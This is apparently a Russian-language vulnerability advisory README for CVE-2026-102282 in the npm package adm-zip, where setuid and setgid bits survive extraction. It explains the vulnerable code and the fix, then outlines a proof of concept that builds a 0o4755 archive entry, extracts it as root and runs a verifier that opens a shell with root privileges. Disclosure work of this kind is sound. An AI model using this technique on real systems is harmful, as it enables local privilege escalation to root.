
CVE-2026-102282: LPE в adm-zip через сохранение SUID/SGID при извлечении архива (исправлено в 0.6.1)
Некорректное назначение прав в npm-пакете adm-zip. При извлечении могут сохраняться биты setuid, setgid и sticky из недоверенного zip-архива, когда включён параметр keepOriginalPermission, что позволяет разместить на диске принадлежащий root исполняемый файл с setuid из архива, предоставленного атакующим: локальное повышение привилегий.
| Пакет | adm-zip (npm) |
| Экосистема | Node.js |
| CVE | CVE-2026-102282 |
| Advisory | GHSA-j5f4-cc29-5x44 |
| CWE | CWE-732 Incorrect Permission Assignment for Critical Resource |
| CVSS v3.1 | 7.1 High — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Затронуто | < 0.6.1 (последняя известная затронутая версия: <= 0.6.0) |
| Исправлено | 0.6.1 (11 сентября 2026) |
| Опубликовано | Advisory мейнтейнера 11 сентября 2026; GitHub Advisory Database 29 сентября 2026 |
Этот репозиторий содержит описание, проверку версии зависимости, безопасный поведенческий тест и самодостаточное proof of concept, построенное вокруг безвредного бинарника-верификатора, который лишь выводит свой контекст учётных данных.
Затронут каждый релиз до 0.6.1, включая 0.6.0.
| Диапазон | Статус |
|---|---|
>= 0 и < 0.6.1 | Затронуто |
<= 0.6.0 | Последняя известная затронутая версия |
>= 0.6.1 | Исправлено |
Уязвимость достижима только когда все следующие условия истинны:
keepOriginalPermission=true в extractAllTo(), extractAllToAsync() или extractEntryTo().Извлечение по умолчанию оставляет флаг выключенным и не подвержено уязвимости. Извлечение от непривилегированного пользователя всё ещё может применить биты режима, но полученный файл принадлежит тому же пользователю, поэтому граница привилегий не пересекается.
Биты режима Unix находятся в старших 16 битах внешних атрибутов файла zip-записи. adm-zip копирует эти биты на извлечённый путь.
| Расположение | Роль |
|---|---|
headers/entryHeader.js — fileAttr | Считывает режим Unix из внешних атрибутов |
adm-zip.js — extractAllTo, extractAllToAsync, extractEntryTo | Использует fileAttr, когда keepOriginalPermission истинно |
util/utils.js — chmodSync внутри вспомогательной функции записи файла | Применяет этот режим к только что созданному пути |
Извлечение каталогов в adm-zip.js | Применяет тот же режим к извлечённым каталогам |
В 0.6.0 и более ранних версиях fileAttr маскирует сдвинутый атрибут значением 0xfff
(0o7777). Эта маска сохраняет три специальных бита вместе с обычными битами rwx,
и ничто в пути записи не очищает 0o7000 перед chmod:
// headers/entryHeader.js (<= 0.6.0)
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0o4000)0o2000)0o1000)Извлечение передаёт контролируемый архивом режим напрямую в файловую систему:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(entryName, content, overwrite, fileAttr);
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
Обратите внимание на сигнатуру вызова в 0.6.x: extractAllTo(targetPath, overwrite, keepOriginalPermission) принимает литеральное булево значение в качестве третьего аргумента.
Передача объекта опций, такого как { keepOriginalPermission: true }, молча приводится
к false, что маскирует уязвимость в тесте вместо её демонстрации. Оба PoC-скрипта в этом
репозитории передают true напрямую.
Исправление — это коммит 6a63c339 (v0.6.1). Теперь fileAttr сохраняет только девять битов rwx:
get fileAttr() {
return (_attr || 0) >> 16 & 0o777;
}
keepOriginalPermission=true извлечение считывает этот режим через fileAttr и передаёт его в chmod.0o7777, биты setuid, setgid и sticky сохраняются.chmod выполняется от root, новый файл принадлежит root и может нести setuid. Последующий запуск менее привилегированным пользователем выполняет код владельца файла от имени root.Если флаг оставлен по умолчанию, извлечение не применяет режим из архива, и специальные биты не записываются.
Всё находится в poc/. Входящая в комплект полезная нагрузка —
verify.c, безвредная программа, которая выводит свои реальные и
эффективные uid/gid и в своём режиме по умолчанию открывает оболочку с эффективной
учётной записью. Она ничего не сохраняет, не скрывает и не делает ничего сверх
демонстрации контекста учётных данных.
| Файл | Назначение |
|---|---|
poc/verify.c | Безвредная полезная нагрузка-верификатор setuid |
poc/build-archive.js | Упаковывает файл в zip, запись которого несёт режим 0o4755 |
poc/extract.js | Извлекает архив с keepOriginalPermission=true, как это делало бы уязвимое приложение |
poc/run-demo.sh | Сквозной запуск: сборка, извлечение от root, запуск от вызывающего пользователя |
git clone <this repo> && cd CVE-2026-102282
npm install [email protected] # the version under test
sudo apt install gcc # if needed
./poc/run-demo.sh # uses /var/tmp/cve-2026-102282-demo
./poc/run-demo.sh /path/to/out # or a custom output directory
Ожидаемый вывод для 0.6.0:
== 3. extract as root with keepOriginalPermission ==
adm-zip version: 0.6.0
extracted /var/tmp/cve-2026-102282-demo/exploit.zip into /var/tmp/cve-2026-102282-demo/extracted
== 4. result on disk ==
4755 -rwsr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=0 gid=0
[+] SUID active: effective uid 0 differs from real uid 1000
Ожидаемый вывод для 0.6.1:
== 4. result on disk ==
755 -rwxr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=1000 gid=1000
[-] effective and real ids match: no SUID context
Оговорки для демонстрации: